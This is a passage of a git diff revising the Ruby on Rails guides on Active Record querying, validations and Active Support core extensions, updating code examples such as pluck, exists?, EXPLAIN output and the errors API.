+https://github.com/rails/activerecord-deprecated_finders
+
It's common that you need to find a record or create it if it doesn't exist. You can do that with the `find_or_create_by` and `find_or_create_by!` methods.
### `find_or_create_by`
@@ -1265,7 +1361,7 @@ COMMIT
The new record might not be saved to the database; that depends on whether validations passed or not (just like `create`).
-Suppose we want to set the 'locked' attribute to true if we're
+Suppose we want to set the 'locked' attribute to `false` if we're
creating a new record, but we don't want to include it in the query. So
we want to find the client named "Andy", or if that client doesn't
exist, create a client named "Andy" which is not locked.
@@ -1342,7 +1438,12 @@ If you'd like to use your own SQL to find records in a table you can use `find_b
```ruby
Client.find_by_sql("SELECT * FROM clients
INNER JOIN orders ON clients.id = orders.client_id
- ORDER clients.created_at desc")
+ ORDER BY clients.created_at desc")
+# => [
+ #<Client id: 1, first_name: "Lucas" >,
+ #<Client id: 2, first_name: "Jan" >,
+ # ...
+]
```
`find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
@@ -1352,19 +1453,23 @@ Client.find_by_sql("SELECT * FROM clients
`find_by_sql` has a close relative called `connection#select_all`. `select_all` will retrieve objects from the database using custom SQL just like `find_by_sql` but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
```ruby
-Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
+Client.connection.select_all("SELECT first_name, created_at FROM clients WHERE id = '1'")
+# => [
+ {"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"},
+ {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"}
+]
```
### `pluck`
-`pluck` can be used to query a single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type.
+`pluck` can be used to query single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type.
```ruby
Client.where(active: true).pluck(:id)
# SELECT id FROM clients WHERE active = 1
# => [1, 2, 3]
-Client.uniq.pluck(:role)
+Client.distinct.pluck(:role)
# SELECT DISTINCT role FROM clients
# => ['admin', 'member', 'guest']
@@ -1373,17 +1478,17 @@ Client.pluck(:id, :name)
# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
```
-`pluck` makes it possible to replace code like
+`pluck` makes it possible to replace code like:
```ruby
Client.select(:id).map { |c| c.id }
# or
Client.select(:id).map(&:id)
# or
-Client.select(:id).map { |c| [c.id, c.name] }
+Client.select(:id, :name).map { |c| [c.id, c.name] }
```
-with
+with:
```ruby
Client.pluck(:id)
@@ -1391,6 +1496,37 @@ Client.pluck(:id)
Client.pluck(:id, :name)
```
+Unlike `select`, `pluck` directly converts a database result into a Ruby `Array`,
+without constructing `ActiveRecord` objects. This can mean better performance for
+a large or often-running query. However, any model method overrides will
+not be available. For example:
+
+```ruby
+class Client < ActiveRecord::Base
+ def name
+ "I am #{super}"
+ end
+end
+
+Client.select(:name).map &:name
+# => ["I am David", "I am Jeremy", "I am Jose"]
+
+Client.pluck(:name)
+# => ["David", "Jeremy", "Jose"]
+```
+
+Furthermore, unlike `select` and other `Relation` scopes, `pluck` triggers an immediate
+query, and thus cannot be chained with any further scopes, although it can work with
+scopes already constructed earlier:
+
+```ruby
+Client.pluck(:name).limit(1)
+# => NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8>
+
+Client.limit(1).pluck(:name)
+# => ["David"]
+```
+
### `ids`
`ids` can be used to pluck all the IDs for the relation using the table's primary key.
@@ -1412,18 +1548,21 @@ Person.ids
Existence of Objects
--------------------
-If you simply want to check for the existence of the object there's a method called `exists?`. This method will query the database using the same query as `find`, but instead of returning an object or collection of objects it will return either `true` or `false`.
+If you simply want to check for the existence of the object there's a method called `exists?`.
+This method will query the database using the same query as `find`, but instead of returning an
+object or collection of objects it will return either `true` or `false`.
```ruby
Client.exists?(1)
```
-The `exists?` method also takes multiple ids, but the catch is that it will return true if any one of those records exists.
+The `exists?` method also takes multiple values, but the catch is that it will return `true` if any
+one of those records exists.
```ruby
-Client.exists?(1,2,3)
+Client.exists?(id: [1,2,3])
# or
-Client.exists?([1,2,3])
+Client.exists?(name: ['John', 'Sergei'])
```
It's even possible to use `exists?` without any arguments on a model or a relation.
@@ -1432,7 +1571,8 @@ It's even possible to use `exists?` without any arguments on a model or a relati
Client.where(first_name: 'Ryan').exists?
```
-The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false` otherwise.
+The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false`
+otherwise.
```ruby
Client.exists?
@@ -1444,20 +1584,20 @@ You can also use `any?` and `many?` to check for existence on a model or relatio
```ruby
# via a model
-Post.any?
-Post.many?
+Article.any?
+Article.many?
# via a named scope
-Post.recent.any?
-Post.recent.many?
+Article.recent.any?
+Article.recent.many?
# via a relation
-Post.where(published: true).any?
-Post.where(published: true).many?
+Article.where(published: true).any?
+Article.where(published: true).many?
# via an association
-Post.first.categories.any?
-Post.first.categories.many?
+Article.first.categories.any?
+Article.first.categories.many?
```
Calculations
@@ -1482,7 +1622,7 @@ Client.where(first_name: 'Ryan').count
You can also use various finder methods on a relation for performing complex calculations:
```ruby
-Client.includes("orders").where(first_name: 'Ryan', orders: {status: 'received'}).count
+Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' }).count
```
Which will execute:
@@ -1547,19 +1687,26 @@ Running EXPLAIN
You can run EXPLAIN on the queries triggered by relations. For example,
```ruby
-User.where(id: 1).joins(:posts).explain
+User.where(id: 1).joins(:articles).explain
```
may yield
```
-EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `posts` ON `posts`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
-+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
-| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
-+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
-| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | |
-| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where |
-+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `articles` ON `articles`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
++----+-------------+----------+-------+---------------+
+| id | select_type | table | type | possible_keys |
++----+-------------+----------+-------+---------------+
+| 1 | SIMPLE | users | const | PRIMARY |
+| 1 | SIMPLE | articles | ALL | NULL |
++----+-------------+----------+-------+---------------+
++---------+---------+-------+------+-------------+
+| key | key_len | ref | rows | Extra |
++---------+---------+-------+------+-------------+
+| PRIMARY | 4 | const | 1 | |
+| NULL | NULL | NULL | 1 | Using where |
++---------+---------+-------+------+-------------+
+
2 rows in set (0.00 sec)
```
@@ -1569,15 +1716,15 @@ Active Record performs a pretty printing that emulates the one of the database
shells. So, the same query running with the PostgreSQL adapter would yield instead
```
-EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id" WHERE "users"."id" = 1
+EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "articles" ON "articles"."user_id" = "users"."id" WHERE "users"."id" = 1
QUERY PLAN
------------------------------------------------------------------------------
Nested Loop Left Join (cost=0.00..37.24 rows=8 width=0)
- Join Filter: (posts.user_id = users.id)
+ Join Filter: (articles.user_id = users.id)
-> Index Scan using users_pkey on users (cost=0.00..8.27 rows=1 width=4)
Index Cond: (id = 1)
- -> Seq Scan on posts (cost=0.00..28.88 rows=8 width=4)
- Filter: (posts.user_id = 1)
+ -> Seq Scan on articles (cost=0.00..28.88 rows=8 width=4)
+ Filter: (articles.user_id = 1)
(6 rows)
```
@@ -1586,69 +1733,43 @@ may need the results of previous ones. Because of that, `explain` actually
executes the query, and then asks for the query plans. For example,
```ruby
-User.where(id: 1).includes(:posts).explain
+User.where(id: 1).includes(:articles).explain
```
yields
```
EXPLAIN for: SELECT `users`.* FROM `users` WHERE `users`.`id` = 1
-+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
-| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
-+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
-| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | |
-+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
-1 row in set (0.00 sec)
++----+-------------+-------+-------+---------------+
+| id | select_type | table | type | possible_keys |
++----+-------------+-------+-------+---------------+
+| 1 | SIMPLE | users | const | PRIMARY |
++----+-------------+-------+-------+---------------+
++---------+---------+-------+------+-------+
+| key | key_len | ref | rows | Extra |
++---------+---------+-------+------+-------+
+| PRIMARY | 4 | const | 1 | |
++---------+---------+-------+------+-------+
-EXPLAIN for: SELECT `posts`.* FROM `posts` WHERE `posts`.`user_id` IN (1)
-+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
-| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
-+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
-| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where |
-+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
1 row in set (0.00 sec)
-```
-
-under MySQL.
-
-### Automatic EXPLAIN
-Active Record is able to run EXPLAIN automatically on slow queries and log its
-output. This feature is controlled by the configuration parameter
+EXPLAIN for: SELECT `articles`.* FROM `articles` WHERE `articles`.`user_id` IN (1)
++----+-------------+----------+------+---------------+
+| id | select_type | table | type | possible_keys |
++----+-------------+----------+------+---------------+
+| 1 | SIMPLE | articles | ALL | NULL |
++----+-------------+----------+------+---------------+
++------+---------+------+------+-------------+
+| key | key_len | ref | rows | Extra |
++------+---------+------+------+-------------+
+| NULL | NULL | NULL | 1 | Using where |
++------+---------+------+------+-------------+
-```ruby
-config.active_record.auto_explain_threshold_in_seconds
-```
-
-If set to a number, any query exceeding those many seconds will have its EXPLAIN
-automatically triggered and logged. In the case of relations, the threshold is
-compared to the total time needed to fetch records. So, a relation is seen as a
-unit of work, no matter whether the implementation of eager loading involves
-several queries under the hood.
-
-A threshold of `nil` disables automatic EXPLAINs.
-
-The default threshold in development mode is 0.5 seconds, and `nil` in test and
-production modes.
-
-INFO. Automatic EXPLAIN gets disabled if Active Record has no logger, regardless
-of the value of the threshold.
-
-#### Disabling Automatic EXPLAIN
-Automatic EXPLAIN can be selectively silenced with `ActiveRecord::Base.silence_auto_explain`:
-
-```ruby
-ActiveRecord::Base.silence_auto_explain do
- # no automatic EXPLAIN is triggered here
-end
+1 row in set (0.00 sec)
```
-That may be useful for queries you know are slow but fine, like a heavyweight
-report of an admin interface.
-
-As its name suggests, `silence_auto_explain` only silences automatic EXPLAINs.
-Explicit calls to `ActiveRecord::Relation#explain` run.
+under MySQL.
### Interpreting EXPLAIN
diff --git a/guides/source/active_record_validations.md b/guides/source/active_record_validations.md
index 2e2f0e4ea9..546c0608ee 100644
--- a/guides/source/active_record_validations.md
+++ b/guides/source/active_record_validations.md
@@ -85,7 +85,7 @@ end
We can see how it works by looking at some `rails console` output:
```ruby
-$ rails console
+$ bin/rails console
>> p = Person.new(name: "John Doe")
=> #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil>
>> p.new_record?
@@ -117,12 +117,11 @@ database only if the object is valid:
* `save`
* `save!`
* `update`
-* `update_attributes`
-* `update_attributes!`
+* `update!`
The bang versions (e.g. `save!`) raise an exception if the record is invalid.
-The non-bang versions don't: `save` and `update_attributes` return `false`,
-`create` and `update` just return the objects.
+The non-bang versions don't, `save` and `update` return `false`,
+`create` just returns the object.
### Skipping Validations
@@ -163,8 +162,8 @@ Person.create(name: nil).valid? # => false
```
After Active Record has performed validations, any errors found can be accessed
-through the `errors` instance method, which returns a collection of errors. By
-definition, an object is valid if this collection is empty after running
+through the `errors.messages` instance method, which returns a collection of errors.
+By definition, an object is valid if this collection is empty after running
validations.
Note that an object instantiated with `new` will not report errors even if it's
@@ -176,28 +175,28 @@ class Person < ActiveRecord::Base
end
>> p = Person.new
-#=> #<Person id: nil, name: nil>
->> p.errors
-#=> {}
+# => #<Person id: nil, name: nil>
+>> p.errors.messages
+# => {}
>> p.valid?
-#=> false
->> p.errors
-#=> {name:["can't be blank"]}
+# => false
+>> p.errors.messages
+# => {name:["can't be blank"]}
>> p = Person.create
-#=> #<Person id: nil, name: nil>
->> p.errors
-#=> {name:["can't be blank"]}
+# => #<Person id: nil, name: nil>
+>> p.errors.messages
+# => {name:["can't be blank"]}
>> p.save
-#=> false
+# => false
>> p.save!
-#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
>> Person.create!
-#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
```
`invalid?` is simply the inverse of `valid?`. It triggers your validations,
@@ -244,7 +243,7 @@ line of code you can add the same kind of validation to several attributes.
All of them accept the `:on` and `:message` options, which define when the
validation should be run and what message should be added to the `errors`
collection if it fails, respectively. The `:on` option takes one of the values
-`:save` (the default), `:create` or `:update`. There is a default error
+`:create` or `:update`. There is a default error
message for each one of the validation helpers. These messages are used when
the `:message` option isn't specified. Let's take a look at each one of the
available helpers.
@@ -338,7 +337,7 @@ set. In fact, this set can be any enumerable object.
```ruby
class Account < ActiveRecord::Base
validates :subdomain, exclusion: { in: %w(www us ca jp),
- message: "Subdomain %{value} is reserved." }
+ message: "%{value} is reserved." }
end
```
@@ -358,10 +357,12 @@ given regular expression, which is specified using the `:with` option.
```ruby
class Product < ActiveRecord::Base
validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/,
- message: "Only letters allowed" }
+ message: "only allows letters" }
end
```
+Alternatively, you can require that the specified attribute does _not_ match the regular expression by using the `:without` option.
+
The default error message is _"is invalid"_.
### `inclusion`
@@ -426,7 +427,7 @@ class Essay < ActiveRecord::Base
validates :content, length: {
minimum: 300,
maximum: 400,
- tokenizer: lambda { |str| str.scan(/\w+/) },
+ tokenizer: lambda { |str| str.split(/\s+/) },
too_short: "must have at least %{count} words",
too_long: "must have at most %{count} words"
}
@@ -435,12 +436,10 @@ end
Note that the default error messages are plural (e.g., "is too short (minimum
is %{count} characters)"). For this reason, when `:minimum` is 1 you should
-provide a personalized message or use `validates_presence_of` instead. When
+provide a personalized message or use `presence: true` instead. When
`:in` or `:within` have a lower limit of 1, you should either provide a
personalized message or call `presence` prior to `length`.
-The `size` helper is an alias for `length`.
-
### `numericality`
This helper validates that your attributes have only numeric values. By
@@ -503,8 +502,8 @@ end
```
If you want to be sure that an association is present, you'll need to test
-whether the foreign key used to map the association is present, and not the
-associated object itself.
+whether the associated object itself is present, and not the foreign key used
+to map the association.
```ruby
class LineItem < ActiveRecord::Base
@@ -513,7 +512,8 @@ class LineItem < ActiveRecord::Base
end
```
-You should also be sure to have a proper `:inverse_of` as well:
+In order to validate associated records whose presence is required, you must
+specify the `:inverse_of` option for the association:
```ruby
class Order < ActiveRecord::Base
@@ -526,9 +526,57 @@ If you validate the presence of an object associated via a `has_one` or
`marked_for_destruction?`.
Since `false.blank?` is true, if you want to validate the presence of a boolean
-field you should use `validates :field_name, inclusion: { in: [true, false] }`.
+field you should use one of the following validations:
+
+```ruby
+validates :boolean_field_name, presence: true
+validates :boolean_field_name, inclusion: { in: [true, false] }
+validates :boolean_field_name, exclusion: { in: [nil] }
+```
+
+By using one of these validations, you will ensure the value will NOT be `nil`
+which would result in a `NULL` value in most cases.
+
+### `absence`
+
+This helper validates that the specified attributes are absent. It uses the
+`present?` method to check if the value is not either nil or a blank string, that
+is, a string that is either empty or consists of whitespace.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, :login, :email, absence: true
+end
+```
+
+If you want to be sure that an association is absent, you'll need to test
+whether the associated object itself is absent, and not the foreign key used
+to map the association.
+
+```ruby
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+ validates :order, absence: true
+end
+```
-The default error message is _"can't be empty"_.
+In order to validate associated records whose absence is required, you must
+specify the `:inverse_of` option for the association:
+
+```ruby
+class Order < ActiveRecord::Base
+ has_many :line_items, inverse_of: :order
+end
+```
+
+If you validate the absence of an object associated via a `has_one` or
+`has_many` relationship, it will check that the object is neither `present?` nor
+`marked_for_destruction?`.
+
+Since `false.present?` is false, if you want to validate the absence of a boolean
+field you should use `validates :field_name, exclusion: { in: [true, false] }`.
+
+The default error message is _"must be blank"_.
### `uniqueness`
@@ -536,7 +584,9 @@ This helper validates that the attribute's value is unique right before the
object gets saved. It does not create a uniqueness constraint in the database,
so it may happen that two different database connections create two records
with the same value for a column that you intend to be unique. To avoid that,
-you must create a unique index in your database.
+you must create a unique index on both columns in your database. See
+[the MySQL manual](http://dev.mysql.com/doc/refman/5.6/en/multiple-column-indexes.html)
+for more details about multiple column indexes.
```ruby
class Account < ActiveRecord::Base
@@ -577,10 +627,6 @@ The default error message is _"has already been taken"_.
This helper passes the record to a separate class for validation.
```ruby
-class Person < ActiveRecord::Base
- validates_with GoodnessValidator
-end
-
class GoodnessValidator < ActiveModel::Validator
def validate(record)
if record.first_name == "Evil"
@@ -588,6 +634,10 @@ class GoodnessValidator < ActiveModel::Validator
end
end
end
+
+class Person < ActiveRecord::Base
+ validates_with GoodnessValidator
+end
```
NOTE: Errors added to `record.errors[:base]` relate to the state of the record
@@ -605,10 +655,6 @@ Like all other validations, `validates_with` takes the `:if`, `:unless` and
validator class as `options`:
```ruby
-class Person < ActiveRecord::Base
- validates_with GoodnessValidator, fields: [:first_name, :last_name]
-end
-
class GoodnessValidator < ActiveModel::Validator
def validate(record)
if options[:fields].any?{|field| record.send(field) == "Evil" }
@@ -616,6 +662,39 @@ class GoodnessValidator < ActiveModel::Validator
end
end
end
+
+class Person < ActiveRecord::Base
+ validates_with GoodnessValidator, fields: [:first_name, :last_name]
+end
+```
+
+Note that the validator will be initialized *only once* for the whole application
+life cycle, and not on each validation run, so be careful about using instance
+variables inside it.
+
+If your validator is complex enough that you want instance variables, you can
+easily use a plain old Ruby object instead:
+
+```ruby
+class Person < ActiveRecord::Base
+ validate do |person|
+ GoodnessValidator.new(person).validate
+ end
+end
+
+class GoodnessValidator
+ def initialize(person)
+ @person = person
+ end
+
+ def validate
+ if some_complex_condition_involving_ivars_and_private_methods?
+ @person.errors[:base] << "This person is evil"
+ end
+ end
+
+ # ...
+end
```
### `validates_each`
@@ -628,7 +707,7 @@ we don't want names and surnames to begin with lower case.
```ruby
class Person < ActiveRecord::Base
validates_each :name, :surname do |record, attr, value|
- record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
+ record.errors.add(attr, 'must start with upper case') if value =~ /\A[[:lower:]]/
end
end
```
@@ -655,8 +734,6 @@ class Coffee < ActiveRecord::Base
end
```
-TIP: `:allow_nil` is ignored by the presence validator.
-
### `:allow_blank`
The `:allow_blank` option is similar to the `:allow_nil` option. This option
@@ -668,12 +745,10 @@ class Topic < ActiveRecord::Base
validates :title, length: { is: 5 }, allow_blank: true
end
-Topic.create("title" => "").valid? # => true
-Topic.create("title" => nil).valid? # => true
+Topic.create(title: "").valid? # => true
+Topic.create(title: nil).valid? # => true
```
-TIP: `:allow_blank` is ignored by the presence validator.
-
### `:message`
As you've already seen, the `:message` option lets you specify the message that
@@ -699,7 +774,7 @@ class Person < ActiveRecord::Base
validates :age, numericality: true, on: :update
# the default (validates on both create and update)
- validates :name, presence: true, on: :save
+ validates :name, presence: true
end
```
@@ -717,7 +792,7 @@ end
Person.new.valid? # => ActiveModel::StrictValidationFailed: Name can't be blank
```
-There is also an ability to pass custom exception to `:strict` option
+There is also an ability to pass custom exception to `:strict` option.
```ruby
class Person < ActiveRecord::Base
@@ -805,7 +880,7 @@ should happen, an `Array` can be used. Moreover, you can apply both `:if` and
```ruby
class Computer < ActiveRecord::Base
validates :mouse, presence: true,
- if: ["market.retail?", :desktop?]
+ if: ["market.retail?", :desktop?],
unless: Proc.new { |c| c.trackpad.present? }
end
```
@@ -844,8 +919,8 @@ end
The easiest way to add custom validators for validating individual attributes
is with the convenient `ActiveModel::EachValidator`. In this case, the custom
validator class must implement a `validate_each` method which takes three
-arguments: record, attribute and value which correspond to the instance, the
-attribute to be validated and the value of the attribute in the passed
+arguments: record, attribute, and value. These correspond to the instance, the
+attribute to be validated, and the value of the attribute in the passed
instance.
```ruby
@@ -908,6 +983,146 @@ class Invoice < ActiveRecord::Base
end
```
+Working with Validation Errors
+------------------------------
+
+In addition to the `valid?` and `invalid?` methods covered earlier, Rails provides a number of methods for working with the `errors` collection and inquiring about the validity of objects.
+
+The following is a list of the most commonly used methods. Please refer to the `ActiveModel::Errors` documentation for a list of all the available methods.
+
+### `errors`
+
+Returns an instance of the class `ActiveModel::Errors` containing all errors. Each key is the attribute name and the value is an array of strings with all errors.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.messages
+ # => {:name=>["can't be blank", "is too short (minimum is 3 characters)"]}
+
+person = Person.new(name: "John Doe")
+person.valid? # => true
+person.errors.messages # => {}
+```
+
+### `errors[]`
+
+`errors[]` is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new(name: "John Doe")
+person.valid? # => true
+person.errors[:name] # => []
+
+person = Person.new(name: "JD")
+person.valid? # => false
+person.errors[:name] # => ["is too short (minimum is 3 characters)"]
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+```
+
+### `errors.add`
+
+The `add` method lets you manually add messages that are related to particular attributes. You can use the `errors.full_messages` or `errors.to_a` methods to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). `add` receives the name of the attribute you want to add the message to, and the message itself.
+
+```ruby
+class Person < ActiveRecord::Base
+ def a_method_used_for_validation_purposes
+ errors.add(:name, "cannot contain the characters !@#%*()_-+=")
+ end
+end
+
+person = Person.create(name: "!@#")
+
+person.errors[:name]
+ # => ["cannot contain the characters !@#%*()_-+="]
+
+person.errors.full_messages
+ # => ["Name cannot contain the characters !@#%*()_-+="]
+```
+
+Another way to do this is using `[]=` setter
+
+```ruby
+ class Person < ActiveRecord::Base
+ def a_method_used_for_validation_purposes
+ errors[:name] = "cannot contain the characters !@#%*()_-+="
+ end
+ end
+
+ person = Person.create(name: "!@#")
+
+ person.errors[:name]
+ # => ["cannot contain the characters !@#%*()_-+="]
+
+ person.errors.to_a
+ # => ["Name cannot contain the characters !@#%*()_-+="]
+```
+
+### `errors[:base]`
+
+You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since `errors[:base]` is an array, you can simply add a string to it and it will be used as an error message.
+
+```ruby
+class Person < ActiveRecord::Base
+ def a_method_used_for_validation_purposes
+ errors[:base] << "This person is invalid because ..."
+ end
+end
+```
+
+### `errors.clear`
+
+The `clear` method is used when you intentionally want to clear all the messages in the `errors` collection. Of course, calling `errors.clear` upon an invalid object won't actually make it valid: the `errors` collection will now be empty, but the next time you call `valid?` or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the `errors` collection will be filled again.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+person.errors.clear
+person.errors.empty? # => true
+
+p.save # => false
+
+p.errors[:name]
+# => ["can't be blank", "is too short (minimum is 3 characters)"]
+```
+
+### `errors.size`
+
+The `size` method returns the total number of error messages for the object.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.size # => 2
+
+person = Person.new(name: "Andrea", email: "andrea@example.com")
+person.valid? # => true
+person.errors.size # => 0
+```
+
Displaying Validation Errors in Views
-------------------------------------
@@ -923,15 +1138,15 @@ generating a scaffold, Rails will put some ERB into the `_form.html.erb` that
it generates that displays the full list of errors on that model.
Assuming we have a model that's been saved in an instance variable named
-`@post`, it looks like this:
+`@article`, it looks like this:
```ruby
-<% if @post.errors.any? %>
+<% if @article.errors.any? %>
<div id="error_explanation">
- <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2>
+ <h2><%= pluralize(@article.errors.count, "error") %> prohibited this article from being saved:</h2>
<ul>
- <% @post.errors.full_messages.each do |msg| %>
+ <% @article.errors.full_messages.each do |msg| %>
<li><%= msg %></li>
<% end %>
</ul>
@@ -945,7 +1160,7 @@ the entry.
```
<div class="field_with_errors">
- <input id="post_title" name="post[title]" size="30" type="text" value="">
+ <input id="article_title" name="article[title]" size="30" type="text" value="">
</div>
```
diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md
index 1d79ee2565..faad34d021 100644
--- a/guides/source/active_support_core_extensions.md
+++ b/guides/source/active_support_core_extensions.md
@@ -10,7 +10,7 @@ After reading this guide, you will know:
* What Core Extensions are.
* How to load all extensions.
* How to cherry-pick just the extensions you want.
-* What extensions ActiveSupport provides.
+* What extensions Active Support provides.
--------------------------------------------------------------------------------
@@ -37,9 +37,10 @@ For every single method defined as a core extension this guide has a note that s
NOTE: Defined in `active_support/core_ext/object/blank.rb`.
-That means that this single call is enough:
+That means that you can require it like this:
```ruby
+require 'active_support'
require 'active_support/core_ext/object/blank'
```
@@ -52,6 +53,7 @@ The next level is to simply load all extensions to `Object`. As a rule of thumb,
Thus, to load all extensions to `Object` (including `blank?`):
```ruby
+require 'active_support'
require 'active_support/core_ext/object'
```
@@ -60,6 +62,7 @@ require 'active_support/core_ext/object'
You may prefer just to load all core extensions, there is a file for that:
```ruby
+require 'active_support'
require 'active_support/core_ext'
```
@@ -96,12 +99,13 @@ INFO: The predicate for strings uses the Unicode-aware character class `[:space:
WARNING: Note that numbers are not mentioned. In particular, 0 and 0.0 are **not** blank.
-For example, this method from `ActionDispatch::Session::AbstractStore` uses `blank?` for checking whether a session key is present:
+For example, this method from `ActionController::HttpAuthentication::Token::ControllerMethods` uses `blank?` for checking whether a token is present:
```ruby
-def ensure_session_key!
- if @key.blank?
- raise ArgumentError, 'A key is required...'
+def authenticate(controller, &login_procedure)
+ token, options = token_and_options(controller.request)
+ unless token.blank?
+ login_procedure.call(token, options)
end
end
```
@@ -153,12 +157,12 @@ Active Support provides `duplicable?` to programmatically query an object about
```ruby
"foo".duplicable? # => true
-"".duplicable? # => true
+"".duplicable? # => true
0.0.duplicable? # => false
-false.duplicable? # => false
+false.duplicable? # => false
```
-By definition all objects are `duplicable?` except `nil`, `false`, `true`, symbols, numbers, class, and module objects.
+By definition all objects are `duplicable?` except `nil`, `false`, `true`, symbols, numbers, class, module, and method objects.
WARNING: Any class can disallow duplication by removing `dup` and `clone` or raising exceptions from them. Thus only `rescue` can tell whether a given arbitrary object is duplicable. `duplicable?` depends on the hard-coded list above, but it is much faster than `rescue`. Use it only if you know the hard-coded list is enough in your use case.
@@ -166,7 +170,7 @@ NOTE: Defined in `active_support/core_ext/object/duplicable.rb`.
### `deep_dup`
-The `deep_dup` method returns deep copy of a given object. Normally, when you `dup` an object that contains other objects, ruby does not `dup` them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this:
+The `deep_dup` method returns deep copy of a given object. Normally, when you `dup` an object that contains other objects, Ruby does not `dup` them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this:
```ruby
array = ['string']
@@ -175,14 +179,14 @@ duplicate = array.dup
duplicate.push 'another-string'
# the object was duplicated, so the element was added only to the duplicate
-array #=> ['string']
-duplicate #=> ['string', 'another-string']
+array # => ['string']
+duplicate # => ['string', 'another-string']
duplicate.first.gsub!('string', 'foo')
# first element was not duplicated, it will be changed in both arrays
-array #=> ['foo']
-duplicate #=> ['foo', 'another-string']
+array # => ['foo']
+duplicate # => ['foo', 'another-string']
```
As you can see, after duplicating the `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make deep copy, the string inside the array is still the same object.
@@ -195,8 +199,8 @@ duplicate = array.deep_dup
duplicate.first.gsub!('string', 'foo')
-array #=> ['string']
-duplicate #=> ['foo']
+array # => ['string']
+duplicate # => ['foo']
```
If the object is not duplicable, `deep_dup` will just return it:
@@ -418,13 +422,20 @@ TIP: Since `with_options` forwards calls to its receiver they can be nested. Eac
NOTE: Defined in `active_support/core_ext/object/with_options.rb`.
+### JSON support
+
+Active Support provides a better implementation of `to_json` than the `json` gem ordinarily provides for Ruby objects. This is because some classes, like `Hash`, `OrderedHash` and `Process::Status` need special handling in order to provide a proper JSON representation.
+
+NOTE: Defined in `active_support/core_ext/object/json.rb`.
+
### Instance Variables
Active Support provides several methods to ease access to instance variables.
-#### `instance_variable_names`
+#### `instance_values`
-Ruby 1.8 and 1.9 have a method called `instance_variables` that returns the names of the defined instance variables. But they behave differently, in 1.8 it returns strings whereas in 1.9 it returns symbols. Active Support defines `instance_variable_names` as a portable way to obtain them as strings:
+The method `instance_values` returns a hash that maps instance variable names without "@" to their
+corresponding values. Keys are strings:
```ruby
class C
@@ -433,17 +444,14 @@ class C
end
end
-C.new(0, 1).instance_variable_names # => ["@y", "@x"]
+C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
```
-WARNING: The order in which the names are returned is unspecified, and it indeed depends on the version of the interpreter.
-
NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`.
-#### `instance_values`
+#### `instance_variable_names`
